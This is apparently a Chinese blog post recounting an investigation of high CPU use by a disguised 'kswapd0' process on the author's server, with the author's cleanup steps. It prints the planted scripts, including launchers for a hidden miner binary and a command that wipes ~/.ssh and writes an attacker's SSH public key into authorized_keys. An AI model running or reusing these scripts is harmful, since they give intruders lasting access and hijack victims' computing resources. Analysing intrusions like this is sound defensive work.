kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(二)

简介: kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合

4. 进一步看每个脚本文件的内容

探究完了这个文件之后,我就大概明白了,如果我每次都只是杀掉这个进程其实没有用。每隔一段时间,脚本自动运行,而且更阴险的是居然关机重启之后还运行这个脚本!!!可恶至极!

感觉离真相又进了一步!继续往下探究。

4.1/home/dev/.configrc/a路径下的upd文件

#!/bin/sh
cd /home/dev/.configrc/a
if test -r /home/dev/.configrc/a/bash.pid; then
pid=$(cat /home/dev/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null

这个脚本信息说的是如果/home/dev/.configrc/a/bash.pid确实存在,那就获取bash.pid脚本的进程号

if $(kill -CHLD $pid >/dev/null 2>&1)这行代码我有点没看懂,要是有大佬看懂的,欢迎评论告知我一下,谢谢

最后一行./run &>/dev/null就是运行run文件

那就来看下run脚本里写的啥

#!/bin/bash
./stop
#./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
  if [ "$ARCH" == "i686" ]; then
    nohup ./anacron >>/dev/null & 
  elif [ "$ARCH" == "x86_64" ];   then
    ./kswapd0
  fi
echo $! > bash.pid

最后一行echo $! > bash.pid打印进程号到bash.pid当中

那么我们还需要去查看一下kswpad0文件的信息

最后用vim打开一看,全乱码了。我猜测可能是二进制文件,所以用vim打开会乱码,需要用专门查看二进制文件的工具去查看才可以。

4.2/home/dev/.configrc/b路径下的sync文件

#!/bin/sh
cd /home/dev/.configrc/b
./run

同样的,我们还是需要去看下run文件写的是什么脚本

这个脚本文件太长,为了不影响阅读,我就不粘贴上来了。

可以很清楚的看到最后几行

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
  1. cd ~进入到根目录下
  2. rm -rf .ssh强制删除根目录下的.ssh目录及其目录下的所有文件
  3. mkdir .ssh创建.ssh目录
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
    把这行字符串ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr写到.ssh/authorized_keys文件里。备注一下:这个字符串很明显就是电脑上生成的公钥,把这个公钥给到远程电脑下.ssh/authorized_keys文件里,就可以通过ssh连接,下次就可以不用输入账号密码连接了。所以我修改了账号密码之后,对方还是可以登录到我的服务器当中。
  5. chmod -R go= ~/.ssh~/.ssh目录修改的权限是go,其中g:代表所有者所在的群组(group),o:代表其他人,但不是u和g(other)。

4.3 /dev/shm/.X1129/.rsync/c/路径下的aptitude文件

  1. 先去到对应的目录下

  1. 查看aptitude脚本文件

#!/bin/sh
cd /dev/shm/.X1129/.rsync/c
./run &>/dev/null

还是和之前的老套路,这个文件只是用来运行run脚本文件的,因此我们最终需要看的还是run文件

可以看到run脚本的具体内容如下

#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)
ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
  # -lt是小于等于的意思,它这里的含义是如果CPU是7核以下的
  if [ $PR -lt 7 ]; then
    sleep 15
    ./stop
    sleep 3
    RANGE=240
    s=$RANDOM
    let "s %= $RANGE"
    sleep $s
    #nohup ./golan >>/dev/null &
    #sleep 20m && 
    nohup ./go >>/dev/null &  
  fi
  if [ $PR -gt 7 ]; then
    #sleep 15
    #./stop
    sleep 3
    #nohup ./golan >>/dev/null &
  fi
else    
  #nohup ./golan >>/dev/null &
  #sleep 20m && 
  nohup ./go >>/dev/null &
fi

脚本文件的第三行含义是查看CPU是多少核的。

感兴趣的我还特地去/dev/shm/.X1129这个文件夹下看了一下,确实和https://blog.csdn.net/jzz601264258/article/details/105850816 这个博主说的一样,对方还上传了一个dota3.tar.gz文件到了我的服务器上。

综上:

  • /home/dev/.configrc/a路径下的upd文件脚本最后用vim打开乱码,不清楚用户到底在用我这台机器干嘛。
  • /home/dev/.configrc/b路径下的sync文件脚本运行的是把它电脑的公钥写到我的.ssh/authorized_keys文件里
  • /dev/shm/.X1129/.rsync/c/路径下的aptitude文件设置的CPU随机休眠一段时间,不至于CPU卡的连他自己都登不上。

5. 解决办法

  1. 今天问了一下群佬,可能添加黑名单对他之前的没有太大用,暂时选择添加白名单的方案处理。先把他的~/.ssh/authorized_key里的公钥信息给删除,这样他就无法通过ssh连接了。

这个进程还是占有率很高,这个时候选择来kill掉这个进程

此时再用top命令来查看,恢复正常了。

此时记录为2022年3月20日23:16。不知道对方下一轮又会采取什么方式来给我的电脑植入其他脚本。如果有下一轮,期待和对方的下一轮较量!

相关文章
|
2月前
|
存储 监控
【Azure Cloud Service】在Azure云服务中收集CPU监控指标和IIS进程的DUMP方法
在使用Cloud Service服务时,发现服务的CPU占用很高,在业务请求并不大的情况下,需要直到到底是什么进程占用了大量的CPU资源,已经如何获取IIS进程(w3wp.exe)的DUMP文件?
|
3月前
|
Linux Python
在Linux中,如何查找系统中占用CPU最高的进程?
在Linux中,如何查找系统中占用CPU最高的进程?
|
3月前
|
数据安全/隐私保护 异构计算 Windows
【Azure 环境】 介绍两种常规的方法来监视Window系统的CPU高时的进程信息: Performance Monitor 和 Powershell Get-Counter
【Azure 环境】 介绍两种常规的方法来监视Window系统的CPU高时的进程信息: Performance Monitor 和 Powershell Get-Counter
|
3月前
|
Linux
在Linux中,如何找出占用CPU或内存最多的进程?
在Linux中,如何找出占用CPU或内存最多的进程?
|
6天前
|
弹性计算 Kubernetes Perl
k8s 设置pod 的cpu 和内存
在 Kubernetes (k8s) 中,设置 Pod 的 CPU 和内存资源限制和请求是非常重要的,因为这有助于确保集群资源的合理分配和有效利用。你可以通过定义 Pod 的 `resources` 字段来设置这些限制。 以下是一个示例 YAML 文件,展示了如何为一个 Pod 设置 CPU 和内存资源请求(requests)和限制(limits): ```yaml apiVersion: v1 kind: Pod metadata: name: example-pod spec: containers: - name: example-container image:
|
15天前
|
存储 关系型数据库 MySQL
查询服务器CPU、内存、磁盘、网络IO、队列、数据库占用空间等等信息
查询服务器CPU、内存、磁盘、网络IO、队列、数据库占用空间等等信息
187 1
|
2月前
|
存储 关系型数据库 MySQL
查询服务器CPU、内存、磁盘、网络IO、队列、数据库占用空间等等信息
查询服务器CPU、内存、磁盘、网络IO、队列、数据库占用空间等等信息
125 5
|
1月前
|
C# 开发工具 Windows
C# 获取Windows系统信息以及CPU、内存和磁盘使用情况
C# 获取Windows系统信息以及CPU、内存和磁盘使用情况
40 0
|
2月前
|
Prometheus Kubernetes 监控
使用kubectl快速查看各个节点的CPU和内存占用量
在Kubernetes集群中,安装metrics-server,并使用kubectl快速查看集群中各个节点的资源使用情况。
118 0
|
3月前
|
存储 监控 Docker
如何限制docker使用的cpu,内存,存储
如何限制docker使用的cpu,内存,存储

相关实验场景

更多